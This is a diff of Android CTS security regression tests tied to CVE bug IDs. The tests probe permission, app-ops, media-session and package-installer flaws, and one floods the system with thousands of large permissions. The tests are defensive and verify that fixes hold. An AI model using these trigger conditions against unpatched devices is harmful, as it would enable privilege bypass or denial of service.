+ // In the presence of fix adding notification channel group above the limit
+ // will cause an IllegalStateException to occur so ignore.
+ }
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CertificateData.java b/tests/tests/security/src/android/security/cts/CertificateData.java
index e228fd5..02110b6 100644
--- a/tests/tests/security/src/android/security/cts/CertificateData.java
+++ b/tests/tests/security/src/android/security/cts/CertificateData.java
@@ -79,7 +79,6 @@
"4C:DD:51:A3:D1:F5:20:32:14:B0:C6:C5:32:23:03:91:C7:46:42:6D",
"0D:44:DD:8C:3C:8C:1A:1A:58:75:64:81:E9:0F:2E:2A:FF:B3:D2:6E",
"CA:3A:FB:CF:12:40:36:4B:44:B2:16:20:88:80:48:39:19:93:7C:F7",
- "FF:BD:CD:E7:82:C8:43:5E:3C:6F:26:86:5C:CA:A8:3A:45:5B:C3:0A",
"5F:B7:EE:06:33:E2:59:DB:AD:0C:4C:9A:E6:D3:8F:1A:61:C7:DC:25",
"49:0A:75:74:DE:87:0A:47:FE:58:EE:F6:C7:6B:EB:C6:0B:12:40:99",
"89:D4:83:03:4F:9E:9A:48:80:5F:72:37:D4:A9:A6:EF:CB:7C:1F:D1",
@@ -120,7 +119,6 @@
"58:A2:D0:EC:20:52:81:5B:C1:F3:F8:64:02:24:4E:C2:8E:02:4B:02",
"3A:44:73:5A:E5:81:90:1F:24:86:61:46:1E:3B:9C:C4:5F:F5:3A:1B",
"B3:1E:B1:B7:40:E3:6C:84:02:DA:DC:37:D4:4D:F5:D4:67:49:52:F9",
- "58:D1:DF:95:95:67:6B:63:C0:F0:5B:1C:17:4D:8B:84:0B:C8:78:BD",
"F5:17:A2:4F:9A:48:C6:C9:F8:A2:00:26:9F:DC:0F:48:2C:AB:30:89",
"3B:C0:38:0B:33:C3:F6:A6:0C:86:15:22:93:D9:DF:F5:4B:81:C0:04",
"D2:73:96:2A:2A:5E:39:9F:73:3F:E1:C7:1E:64:3F:03:38:34:FC:4D",
@@ -130,7 +128,6 @@
"B8:23:6B:00:2F:1D:16:86:53:01:55:6C:11:A4:37:CA:EB:FF:C3:BB",
"87:82:C6:C3:04:35:3B:CF:D2:96:92:D2:59:3E:7D:44:D9:34:FF:11",
"59:0D:2D:7D:88:4F:40:2E:61:7E:A5:62:32:17:65:CF:17:D8:94:E9",
- "B8:BE:6D:CB:56:F1:55:B9:63:D4:12:CA:4E:06:34:C7:94:B2:1C:C0",
"AE:C5:FB:3F:C8:E1:BF:C4:E5:4F:03:07:5A:9A:E8:00:B7:F7:B6:FA",
"DF:71:7E:AA:4A:D9:4E:C9:55:84:99:60:2D:48:DE:5F:BC:F0:3A:25",
"8F:6B:F2:A9:27:4A:DA:14:A0:C4:F4:8E:61:27:F9:C0:1E:78:5D:D1",
diff --git a/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java b/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java
index 91e39e8..6bf5733 100644
--- a/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java
+++ b/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java
@@ -15,6 +15,8 @@
*/
package android.security.cts;
+import static org.junit.Assert.assertThrows;
+
import android.app.Instrumentation;
import android.content.ComponentName;
import android.content.Context;
@@ -27,17 +29,23 @@
import android.security.cts.IIsolatedService;
import android.security.cts.IsolatedService;
import android.util.Log;
+
import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.internal.util.ArrayUtils;
+
+import junit.framework.Assert;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
-import junit.framework.Assert;
-import org.junit.Before;
-import org.junit.After;
-import androidx.test.runner.AndroidJUnit4;
-import org.junit.runner.RunWith;
-import org.junit.Test;
+
@RunWith(AndroidJUnit4.class)
public class IsolatedProcessTest {
@@ -112,6 +120,11 @@
Assert.assertTrue(mService.getProcessIsIsolated());
}
+ @Test
+ public void testRegisterBroadcastListener() throws RemoteException {
+ assertThrows(SecurityException.class, () -> mService.registerBroadcastReceiver());
+ }
+
@After
public void tearDown() {
getInstrumentation().getContext().unbindService(mServiceConnection);
diff --git a/tests/tests/security/src/android/security/cts/IsolatedService.java b/tests/tests/security/src/android/security/cts/IsolatedService.java
index 094f689..d77ef65 100644
--- a/tests/tests/security/src/android/security/cts/IsolatedService.java
+++ b/tests/tests/security/src/android/security/cts/IsolatedService.java
@@ -18,9 +18,13 @@
import android.app.Service;
import android.content.Intent;
+import android.content.IntentFilter;
import android.os.IBinder;
import android.os.Process;
import android.util.Log;
+
+import com.android.compatibility.common.util.BlockingBroadcastReceiver;
+
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
@@ -79,6 +83,11 @@
return Process.isIsolated();
}
+ public void registerBroadcastReceiver() throws SecurityException {
+ BlockingBroadcastReceiver receiver = new BlockingBroadcastReceiver(
+ getApplicationContext());
+ registerReceiver(receiver, new IntentFilter("testAction"));
+ }
};
@Override
diff --git a/tests/tests/security/src/android/security/cts/LocationDisabledAppOpsTest.java b/tests/tests/security/src/android/security/cts/LocationDisabledAppOpsTest.java
new file mode 100644
index 0000000..c6b7e35
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/LocationDisabledAppOpsTest.java
@@ -0,0 +1,132 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static android.app.AppOpsManager.MODE_ALLOWED;
+import static android.app.AppOpsManager.OPSTR_FINE_LOCATION;
+
+import static com.android.compatibility.common.util.SystemUtil.eventually;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import android.app.ActivityManager;
+import android.app.AppOpsManager;
+import android.content.Context;
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageInfo;
+import android.location.LocationManager;
+import android.os.PackageTagsList;
+import android.os.Process;
+import android.os.UserHandle;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.List;
+
+@RunWith(AndroidJUnit4.class)
+public class LocationDisabledAppOpsTest extends StsExtraBusinessLogicTestCase {
+
+ private final Context mContext = InstrumentationRegistry.getContext();
+ private LocationManager mLm;
+ private AppOpsManager mAom;
+
+ @Before
+ public void setUp() {
+ mLm = mContext.getSystemService(LocationManager.class);
+ mAom = mContext.getSystemService(AppOpsManager.class);
+ }
+
+ @Test
+ @AsbSecurityTest(cveBugId = 231496105)
+ public void testLocationAppOpIsIgnoredForAppsWhenLocationIsDisabled() {
+ PackageTagsList ignoreList = mLm.getIgnoreSettingsAllowlist();
+
+ UserHandle[] userArr = {UserHandle.SYSTEM};
+ runWithShellPermissionIdentity(() -> {
+ userArr[0] = UserHandle.of(ActivityManager.getCurrentUser());
+ });
+
+ UserHandle user = userArr[0];
+
+ boolean wasEnabled = mLm.isLocationEnabledForUser(user);
+
+ try {
+ runWithShellPermissionIdentity(() -> {
+ mLm.setLocationEnabledForUser(false, user);
+ });
+ List<PackageInfo> pkgs =
+ mContext.getPackageManager().getInstalledPackagesAsUser(
+ 0, user.getIdentifier());
+
+ eventually(() -> {
+ List<String> bypassedNoteOps = new ArrayList<>();
+ List<String> bypassedCheckOps = new ArrayList<>();
+ for (PackageInfo pi : pkgs) {
+ ApplicationInfo ai = pi.applicationInfo;
+ if (ai.uid != Process.SYSTEM_UID) {
+ final int[] mode = {MODE_ALLOWED};
+ runWithShellPermissionIdentity(() -> {
+ mode[0] = mAom.noteOpNoThrow(
+ OPSTR_FINE_LOCATION, ai.uid, ai.packageName);
+ });
+ if (mode[0] == MODE_ALLOWED && !ignoreList.containsAll(pi.packageName)) {
+ bypassedNoteOps.add(pi.packageName);
+ }
+
+
+ mode[0] = MODE_ALLOWED;
+ runWithShellPermissionIdentity(() -> {
+ mode[0] = mAom
+ .checkOpNoThrow(OPSTR_FINE_LOCATION, ai.uid, ai.packageName);
+ });
+ if (mode[0] == MODE_ALLOWED && !ignoreList.includes(pi.packageName)) {
+ bypassedCheckOps.add(pi.packageName);
+ }
+
+ }
+ }
+
+ String msg = "";
+ if (!bypassedNoteOps.isEmpty()) {
+ msg += "Apps which still have access from noteOp " + bypassedNoteOps;
+ }
+ if (!bypassedCheckOps.isEmpty()) {
+ msg += (msg.isEmpty() ? "" : "\n\n")
+ + "Apps which still have access from checkOp " + bypassedCheckOps;
+ }
+ if (!msg.isEmpty()) {
+ Assert.fail(msg);
+ }
+ });
+ } finally {
+ runWithShellPermissionIdentity(() -> {
+ mLm.setLocationEnabledForUser(wasEnabled, user);
+ });
+ }
+ }
+
+}
+
diff --git a/tests/tests/security/src/android/security/cts/MediaSessionTest.java b/tests/tests/security/src/android/security/cts/MediaSessionTest.java
new file mode 100644
index 0000000..d74179e
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/MediaSessionTest.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertThrows;
+
+import android.content.ComponentName;
+import android.content.ContextWrapper;
+import android.media.session.MediaSession;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@AppModeFull
+@RunWith(AndroidJUnit4.class)
+public class MediaSessionTest extends StsExtraBusinessLogicTestCase {
+ private static final String TAG = "MediaSessionTest";
+
+ private static final String TEST_SESSION_TAG_FOREIGN_PACKAGE =
+ "test-session-tag-foreign-package";
+ private static final String TEST_FOREIGN_PACKAGE_NAME = "fakepackage";
+ private static final String TEST_FOREIGN_PACKAGE_CLASS = "com.fakepackage.media.FakeReceiver";
+
+ @Test
+ @AsbSecurityTest(cveBugId = 238177121)
+ public void setMediaButtonBroadcastReceiver_withForeignPackageName_fails() throws Exception {
+ // Create Media Session
+ MediaSession mediaSession = new MediaSession(new ContextWrapper(getContext()) {
+ @Override
+ public String getPackageName() {
+ return TEST_FOREIGN_PACKAGE_NAME;
+ }
+ }, TEST_SESSION_TAG_FOREIGN_PACKAGE);
+
+ assertThrows("Component name with different package name was registered.",
+ IllegalArgumentException.class,
+ () -> mediaSession.setMediaButtonBroadcastReceiver(
+ new ComponentName(TEST_FOREIGN_PACKAGE_NAME, TEST_FOREIGN_PACKAGE_CLASS)));
+
+ mediaSession.release();
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/OneTimePermissionTest.java b/tests/tests/security/src/android/security/cts/OneTimePermissionTest.java
new file mode 100644
index 0000000..eafef73
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/OneTimePermissionTest.java
@@ -0,0 +1,140 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static android.Manifest.permission.CAMERA;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+
+import static com.android.compatibility.common.util.SystemUtil.eventually;
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.platform.test.annotations.AsbSecurityTest;
+import android.provider.DeviceConfig;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiObject2;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.SystemUtil;
+import com.android.compatibility.common.util.UiAutomatorUtils;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class OneTimePermissionTest {
+
+ private static final String CUSTOM_CAMERA_PERM_APP_PKG_NAME =
+ "android.permission.cts.appthatrequestcustomcamerapermission";
+ private static final String CUSTOM_CAMERA_PERM_APK =
+ "/data/local/tmp/cts/permissions/CtsAppThatRequestCustomCameraPermission.apk";
+
+ public static final String CUSTOM_PERMISSION = "appthatrequestcustomcamerapermission.CUSTOM";
+
+ private static final long ONE_TIME_TIMEOUT_MILLIS = 5000;
+ private static final long ONE_TIME_KILLED_DELAY_MILLIS = 5000;
+
+ private final Context mContext =
+ InstrumentationRegistry.getInstrumentation().getTargetContext();
+
+ private String mOldOneTimePermissionTimeoutValue;
+ private String mOldOneTimePermissionKilledDelayValue;
+
+ @Before
+ public void wakeUpScreen() {
+ SystemUtil.runShellCommand("input keyevent KEYCODE_WAKEUP");
+
+ SystemUtil.runShellCommand("input keyevent 82");
+ }
+
+ @Before
+ public void installApp() {
+ runShellCommand("pm install -r " + CUSTOM_CAMERA_PERM_APK);
+ }
+
+ @Before
+ public void prepareDeviceForOneTime() {
+ runWithShellPermissionIdentity(() -> {
+ mOldOneTimePermissionTimeoutValue = DeviceConfig.getProperty("permissions",
+ "one_time_permissions_timeout_millis");
+ mOldOneTimePermissionKilledDelayValue = DeviceConfig.getProperty("permissions",
+ "one_time_permissions_killed_delay_millis");
+ DeviceConfig.setProperty("permissions", "one_time_permissions_timeout_millis",
+ Long.toString(ONE_TIME_TIMEOUT_MILLIS), false);
+ DeviceConfig.setProperty("permissions",
+ "one_time_permissions_killed_delay_millis",
+ Long.toString(ONE_TIME_KILLED_DELAY_MILLIS), false);
+ });
+ }
+
+ @After
+ public void uninstallApp() {
+ runShellCommand("pm uninstall " + CUSTOM_CAMERA_PERM_APP_PKG_NAME);
+ }
+
+ @After
+ public void restoreDeviceForOneTime() {
+ runWithShellPermissionIdentity(
+ () -> {
+ DeviceConfig.setProperty("permissions", "one_time_permissions_timeout_millis",
+ mOldOneTimePermissionTimeoutValue, false);
+ DeviceConfig.setProperty("permissions",
+ "one_time_permissions_killed_delay_millis",
+ mOldOneTimePermissionKilledDelayValue, false);
+ });
+ }
+
+ @Test
+ @AsbSecurityTest(cveBugId = 237405974L)
+ public void testCustomPermissionIsGrantedOneTime() throws Throwable {
+ Intent startApp = new Intent()
+ .setComponent(new ComponentName(CUSTOM_CAMERA_PERM_APP_PKG_NAME,
+ CUSTOM_CAMERA_PERM_APP_PKG_NAME + ".RequestCameraPermission"))
+ .addFlags(FLAG_ACTIVITY_NEW_TASK);
+
+ mContext.startActivity(startApp);
+
+ // We're only manually granting CAMERA, but the app will later request CUSTOM and get it
+ // granted silently. This is intentional since it's in the same group but both should
+ // eventually be revoked
+ clickOneTimeButton();
+
+ // Just waiting for the revocation
+ eventually(() -> Assert.assertEquals(PackageManager.PERMISSION_DENIED,
+ mContext.getPackageManager()
+ .checkPermission(CAMERA, CUSTOM_CAMERA_PERM_APP_PKG_NAME)));
+
+ // This checks the vulnerability
+ eventually(() -> Assert.assertEquals(PackageManager.PERMISSION_DENIED,
+ mContext.getPackageManager()
+ .checkPermission(CUSTOM_PERMISSION, CUSTOM_CAMERA_PERM_APP_PKG_NAME)));
+
+ }
+
+ private void clickOneTimeButton() throws Throwable {
+ final UiObject2 uiObject = UiAutomatorUtils.waitFindObject(By.res(
+ "com.android.permissioncontroller:id/permission_allow_one_time_button"), 10000);
+ Thread.sleep(500);
+ uiObject.click();
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/PackageInstallerTest.java b/tests/tests/security/src/android/security/cts/PackageInstallerTest.java
index 887538b..43124ec 100644
--- a/tests/tests/security/src/android/security/cts/PackageInstallerTest.java
+++ b/tests/tests/security/src/android/security/cts/PackageInstallerTest.java
@@ -16,35 +16,88 @@
package android.security.cts;
+import static android.content.Intent.EXTRA_REMOTE_CALLBACK;
+
import android.Manifest;
+import android.app.Activity;
+import android.app.Instrumentation;
+import android.app.Instrumentation.ActivityMonitor;
+import android.app.Service;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.ConditionVariable;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.RemoteCallback;
import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.AsbSecurityTest;
+import android.provider.Settings;
import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+import com.android.compatibility.common.util.SystemUtil;
import com.android.cts.install.lib.Install;
import com.android.cts.install.lib.TestApp;
import com.android.cts.install.lib.Uninstall;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import org.junit.After;
+import org.junit.AfterClass;
import org.junit.Assert;
import org.junit.Before;
+import org.junit.BeforeClass;
import org.junit.Test;
import org.junit.runner.RunWith;
-import org.junit.runners.JUnit4;
+import java.util.Objects;
import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import java.util.concurrent.atomic.AtomicReference;
-@RunWith(JUnit4.class)
+@RunWith(AndroidJUnit4.class)
@AppModeFull
-public class PackageInstallerTest {
+public class PackageInstallerTest extends StsExtraBusinessLogicTestCase {
private static final String TEST_APP_NAME = "android.security.cts.packageinstallertestapp";
+ private static final String KEY_ERROR = "key_error";
+ private static final String ACTION_COMMIT_WITH_ACTIVITY_INTENT_SENDER = TEST_APP_NAME
+ + ".action.COMMIT_WITH_ACTIVITY_INTENT_SENDER";
+ private static final String ACTION_COMMIT_WITH_FG_SERVICE_INTENT_SENDER = TEST_APP_NAME
+ + ".action.COMMIT_WITH_FG_SERVICE_INTENT_SENDER";
+
+ static final long DEFAULT_TIMEOUT_MS = TimeUnit.SECONDS.toMillis(15);
+
private static final TestApp TEST_APP = new TestApp(
"PackageInstallerTestApp", TEST_APP_NAME, 1, /*isApex*/ false,
"PackageInstallerTestApp.apk");
+ private static Context sContext = InstrumentationRegistry.getInstrumentation().getContext();
+ private static HandlerThread sResponseThread;
+ private static Handler sHandler;
+
+ private static final ComponentName BACKGROUND_RECEIVER_COMPONENT_NAME =
+ ComponentName.createRelative(TEST_APP_NAME, ".BackgroundReceiver");
+ private static final ComponentName BACKGROUND_LAUNCH_ACTIVITY_COMPONENT_NAME =
+ new ComponentName(sContext, BackgroundLaunchActivity.class);
+ private static final ComponentName FOREGROUND_SERVICE_COMPONENT_NAME =
+ new ComponentName(sContext, TestForegroundService.class);
+
+ @BeforeClass
+ public static void onBeforeClass() {
+ sResponseThread = new HandlerThread("response");
+ sResponseThread.start();
+ sHandler = new Handler(sResponseThread.getLooper());
+ }
+
+ @AfterClass
+ public static void onAfterClass() {
+ sResponseThread.quit();
+ }
+
@Before
public void setUp() {
InstrumentationRegistry
@@ -73,4 +126,87 @@
Assert.assertNotNull("Did not receive broadcast", packageName);
Assert.assertEquals(TEST_APP_NAME, packageName);
}
+
+ @Test
+ @AsbSecurityTest(cveBugId = 230492955)
+ public void commitSessionInBackground_withActivityIntentSender_doesNotLaunchActivity()
+ throws Exception {
+ Install.single(TEST_APP).commit();
+ // An activity with the system uid in the foreground is necessary to this test.
+ goToSettings();
+ final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+ final ActivityMonitor monitor = instrumentation.addMonitor(
+ BackgroundLaunchActivity.class.getName(), null /* result */, false /* block */);
+ try {
+ sendActionToBackgroundReceiver(
+ ACTION_COMMIT_WITH_ACTIVITY_INTENT_SENDER,
+ BACKGROUND_LAUNCH_ACTIVITY_COMPONENT_NAME);
+
+ final Activity activity = monitor.waitForActivityWithTimeout(DEFAULT_TIMEOUT_MS);
+ if (activity != null) {
+ instrumentation.runOnMainSync(() -> activity.finish());
+ }
+ Assert.assertNull(activity);
+ } finally {
+ instrumentation.removeMonitor(monitor);
+ }
+ }
+
+ @Test
+ @AsbSecurityTest(cveBugId = 243377226)
+ public void commitSessionInBackground_withForegroundServiceIntentSender_doesNotStartService()
+ throws Exception {
+ Install.single(TEST_APP).commit();
+ // An activity with the system uid in the foreground is necessary to this test.
+ goToSettings();
+
+ sendActionToBackgroundReceiver(
+ ACTION_COMMIT_WITH_FG_SERVICE_INTENT_SENDER, FOREGROUND_SERVICE_COMPONENT_NAME);
+
+ final Service service =
+ TestForegroundService.waitFor(DEFAULT_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+ if (service != null) {
+ InstrumentationRegistry.getInstrumentation().runOnMainSync(
+ () -> service.stopSelf());
+ }
+ Assert.assertNull(service);
+ }
+
+ private void goToSettings() {
+ SystemUtil.runShellCommand(
+ "am start -W --user current -a " + Settings.ACTION_SETTINGS);
+ }
+
+ private Bundle sendActionToBackgroundReceiver(String action, ComponentName statusReceiver)
+ throws Exception {
+ final Intent intent = new Intent(action)
+ .setComponent(BACKGROUND_RECEIVER_COMPONENT_NAME);
+ if (statusReceiver != null) {
+ intent.putExtra(Intent.EXTRA_COMPONENT_NAME, statusReceiver);
+ }
+ final ConditionVariable latch = new ConditionVariable();
+ final AtomicReference<Bundle> resultReference = new AtomicReference<>();
+ final RemoteCallback remoteCallback = new RemoteCallback(
+ bundle -> {
+ resultReference.set(bundle);
+ latch.open();
+ },
+ sHandler);
+ intent.putExtra(EXTRA_REMOTE_CALLBACK, remoteCallback);
+ sContext.sendBroadcast(intent);
+
+ if (!latch.block(DEFAULT_TIMEOUT_MS)) {
+ throw new TimeoutException(
+ "Latch timed out while awaiting a response from background receiver");
+ }
+ final Bundle bundle = resultReference.get();
+ if (bundle != null && bundle.containsKey(KEY_ERROR)) {
+ throw Objects.requireNonNull(bundle.getSerializable(KEY_ERROR, Exception.class));
+ }
+ return bundle;
+ }
+
+ // An activity to receive status of a committed session
+ public static class BackgroundLaunchActivity extends Activity {
+ }
}
diff --git a/tests/tests/security/src/android/security/cts/PermissionMemoryFootprintTest.kt b/tests/tests/security/src/android/security/cts/PermissionMemoryFootprintTest.kt
new file mode 100644
index 0000000..c774760
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/PermissionMemoryFootprintTest.kt
@@ -0,0 +1,102 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts
+
+import android.content.pm.PackageManager
+import android.content.pm.PermissionInfo
+import android.platform.test.annotations.AsbSecurityTest
+import androidx.test.ext.junit.runners.AndroidJUnit4
+import androidx.test.platform.app.InstrumentationRegistry
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase
+import org.junit.Assert
+import org.junit.Test
+import org.junit.runner.RunWith
+
+@RunWith(AndroidJUnit4::class)
+class PermissionMemoryFootprintTest : StsExtraBusinessLogicTestCase() {
+ companion object {
+ const val MAX_NUM_PERMISSIONS = 32000
+ const val PKG_TREE_NAME = "com.android.cts"
+ val LONG_DESCRIPTION = " ".repeat(MAX_NUM_PERMISSIONS / 10)
+ val SHORT_DESCRIPTION = " ".repeat(MAX_NUM_PERMISSIONS / 100)
+
+ val permInfo = PermissionInfo().apply {
+ labelRes = 1
+ protectionLevel = PermissionInfo.PROTECTION_NORMAL
+ }
+ }
+
+ val packageManager: PackageManager = InstrumentationRegistry.getInstrumentation()
+ .getTargetContext().packageManager!!
+
+ @Throws(SecurityException::class)
+ private fun createOrRemovePermissions(
+ largePerm: Boolean = true,
+ add: Boolean = true,
+ numPerms: Int = MAX_NUM_PERMISSIONS,
+ ): Int {
+ var numPermsCreated = 0
+ for (i in 1..numPerms) {
+ try {
+ permInfo.name = "$PKG_TREE_NAME.$i"
+ permInfo.nonLocalizedDescription = if (largePerm) {
+ LONG_DESCRIPTION
+ } else {
+ SHORT_DESCRIPTION
+ }
+
+ if (add) {
+ packageManager.addPermission(permInfo)
+ } else {
+ packageManager.removePermission(permInfo.name)
+ }
+ } catch (e: SecurityException) {
+ break
+ }
+ numPermsCreated = i
+ }
+ return numPermsCreated
+ }
+
+ @Test
+ @AsbSecurityTest(cveBugId = [242537498])
+ fun checkAppsCreatingPermissionsAreCapped() {
+ var numCreated = 0
+ try {
+ numCreated = createOrRemovePermissions()
+ Assert.assertNotEquals("Expected at least one permission", numCreated, 0)
+ Assert.assertNotEquals(numCreated, MAX_NUM_PERMISSIONS)
+ } finally {
+ createOrRemovePermissions(add = false, numPerms = numCreated)
+ }
+ }
+
+ @Test
+ @AsbSecurityTest(cveBugId = [242537498])
+ fun checkAppsCantIncreasePermissionSizeAfterCreating() {
+ var numCreatedShort = 0
+ try {
+ numCreatedShort = createOrRemovePermissions(largePerm = false)
+ Assert.assertNotEquals("Expected at least one permission", numCreatedShort, 0)
+ val numCreatedLong = createOrRemovePermissions(numPerms = 1)
+ Assert.assertEquals("Expected to not be able to create a large permission",
+ 0, numCreatedLong)
+ } finally {
+ createOrRemovePermissions(add = false, numPerms = numCreatedShort)
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java b/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java
index 293200e..a46e142 100644
--- a/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java
+++ b/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java
@@ -16,17 +16,21 @@
package android.security.cts;
+import static org.junit.Assert.*;
+
import android.app.ActivityManager;
import android.content.Context;
import android.platform.test.annotations.AsbSecurityTest;
-import androidx.test.runner.AndroidJUnit4;
-import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-import static org.junit.Assert.*;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
import java.util.List;
+import java.util.stream.Collectors;
@RunWith(AndroidJUnit4.class)
public class RunningAppProcessInfoTest extends StsExtraBusinessLogicTestCase {
@@ -40,12 +44,23 @@
@Test
public void testRunningAppProcessInfo() {
ActivityManager amActivityManager =
- (ActivityManager) getInstrumentation().getContext().getSystemService(Context.ACTIVITY_SERVICE);
+ (ActivityManager)
+ getInstrumentation()
+ .getContext()
+ .getSystemService(Context.ACTIVITY_SERVICE);
List<ActivityManager.RunningAppProcessInfo> appList =
amActivityManager.getRunningAppProcesses();
+
+ // Assembles app list for logging
+ List<String> processNames =
+ appList.stream()
+ .map((processInfo) -> processInfo.processName)
+ .collect(Collectors.toList());
+
// The test will pass if it is able to get only its process info
- assertTrue("Device is vulnerable to CVE-2015-3833. For more information, see " +
- "https://android.googlesource.com/platform/frameworks/base/+" +
- "/aaa0fee0d7a8da347a0c47cef5249c70efee209e", (appList.size() == 1));
+ assertTrue(
+ "Device is vulnerable to CVE-2015-3833. Running app processes: "
+ + processNames.toString(),
+ (appList.size() == 1));
}
}
diff --git a/tests/tests/security/src/android/security/cts/SplitPermissionAutoGrantTest.kt b/tests/tests/security/src/android/security/cts/SplitPermissionAutoGrantTest.kt
index 28d004f..3b20d45 100644
--- a/tests/tests/security/src/android/security/cts/SplitPermissionAutoGrantTest.kt
+++ b/tests/tests/security/src/android/security/cts/SplitPermissionAutoGrantTest.kt
@@ -18,7 +18,10 @@
import android.platform.test.annotations.AsbSecurityTest
import androidx.test.ext.junit.runners.AndroidJUnit4
+import com.android.compatibility.common.util.mainline.MainlineModule
+import com.android.compatibility.common.util.mainline.ModuleDetector
import org.junit.After
+import org.junit.Assume.assumeFalse
import org.junit.Before
import org.junit.Test
import org.junit.runner.RunWith
@@ -35,6 +38,8 @@
@Test
@AsbSecurityTest(cveBugId = [223907044])
fun testAutoGrant() {
+ assumeFalse(ModuleDetector.moduleIsPlayManaged(
+ mContext.getPackageManager(), MainlineModule.PERMISSION_CONTROLLER))
installPackage(SPLIT_PERMISSION_APK_PATH)
assertAppHasPermission(android.Manifest.permission.BLUETOOTH, true)
assertAppHasPermission(android.Manifest.permission.BLUETOOTH_CONNECT, true)
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index d9c0039..4facc06 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
